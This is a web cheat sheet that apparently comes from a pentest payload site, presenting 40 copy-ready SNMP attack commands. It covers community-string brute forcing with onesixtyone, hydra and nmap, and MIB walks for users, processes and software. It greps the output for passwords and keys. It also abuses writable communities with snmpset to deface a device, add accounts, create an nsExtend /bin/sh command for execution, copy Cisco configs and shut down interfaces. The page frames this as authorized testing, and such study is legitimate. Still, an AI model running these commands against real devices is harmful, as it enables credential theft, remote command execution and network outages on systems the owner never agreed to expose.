SNMP enumeration reference covering snmpwalk, community-string brute forcing, key MIB OIDs, snmp-check, and abusing writable communities to read and modify device configuration. (40 payloads)
nmap -sU -p 161 --open 10.10.10.0/24onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.10.10.10onesixtyone -i targets.txt -c communities.txt -o found.txtsnmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.1.1.0hydra -P communities.txt -v target snmpnmap -sU -p 161 --script snmp-brute --script-args snmp-brute.communitiesdb=communities.txt 10.10.10.10Common defaults: public, private, manager, cisco, admin, secret, community, write, all, snmpd, default, ILMIsnmpwalk -v2c -c public 10.10.10.10snmpwalk -v1 -c public 10.10.10.10 .1snmpbulkwalk -v2c -c public 10.10.10.10snmpwalk -v2c -c public -Oa 10.10.10.10 1.3.6.1.2.1.25.4.2.1.2snmpwalk -v2c -c public 10.10.10.10 NET-SNMP-EXTEND-MIB::nsExtendObjectssnmpwalk -v3 -l authPriv -u admin -a SHA -A authPass -x AES -X privPass 10.10.10.10snmpwalk ... 2>/dev/null | grep -iE 'pass|pwd|secret|key|cred'1.3.6.1.2.1.1.5.01.3.6.1.4.1.77.1.2.251.3.6.1.2.1.25.4.2.1.21.3.6.1.2.1.25.6.3.1.21.3.6.1.2.1.6.13.1.31.3.6.1.2.1.25.6.3.1.2 / 1.3.6.1.2.1.4.34.1.31.3.6.1.2.1.2.2.1.61.3.6.1.2.1.4.22.1.2snmpget -v2c -c public 10.10.10.10 1.3.6.1.2.1.1.1.0snmptable -v2c -c public 10.10.10.10 hrSWRunTablesnmptranslate -On SNMPv2-MIB::sysDescr.0snmpwalk -c public -v1 10.10.10.10 hrSWInstalledNamebraa [email protected]:.1.3.6.*snmpwalk -v2c -c public -Cc 10.10.10.10 .1snmp-check 10.10.10.10snmp-check -c private -v 2c 10.10.10.10snmp-check 10.10.10.10 | grep -A20 'User accounts'nmap -sU -p 161 --script snmp-info,snmp-sysdescr,snmp-processes,snmp-win32-users,snmp-netstat 10.10.10.10nmap -sU -p 161 --script snmp-win32-services,snmp-win32-shares 10.10.10.10msf6 > use auxiliary/scanner/snmp/snmp_enumsnmpset -v2c -c private 10.10.10.10 1.3.6.1.2.1.1.4.0 s pwnedsnmpset -v1 -c private 10.10.10.10 1.3.6.1.4.1.9.9.96.1.1.1.1.2.111 i 1snmp_enum_users via 1.3.6.1.4.1.77.1.2.25 then snmpset to add accountsnmpset -v2c -c private 10.10.10.10 'nsExtendStatus."command"' = createAndGo nsExtendCommand."command" = /bin/sh ...snmpwalk -v2c -c private 10.10.10.10 1.3.6.1.6.3.16.1.2snmpset -v2c -c private 10.10.10.10 ifAdminStatus.2 i 2Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 40 SNMP Enum payloads for testing SNMP Enumeration vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the Nmap Command Builder to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all SNMP Enum payloads are completely free, with no account required. Everything runs in your browser.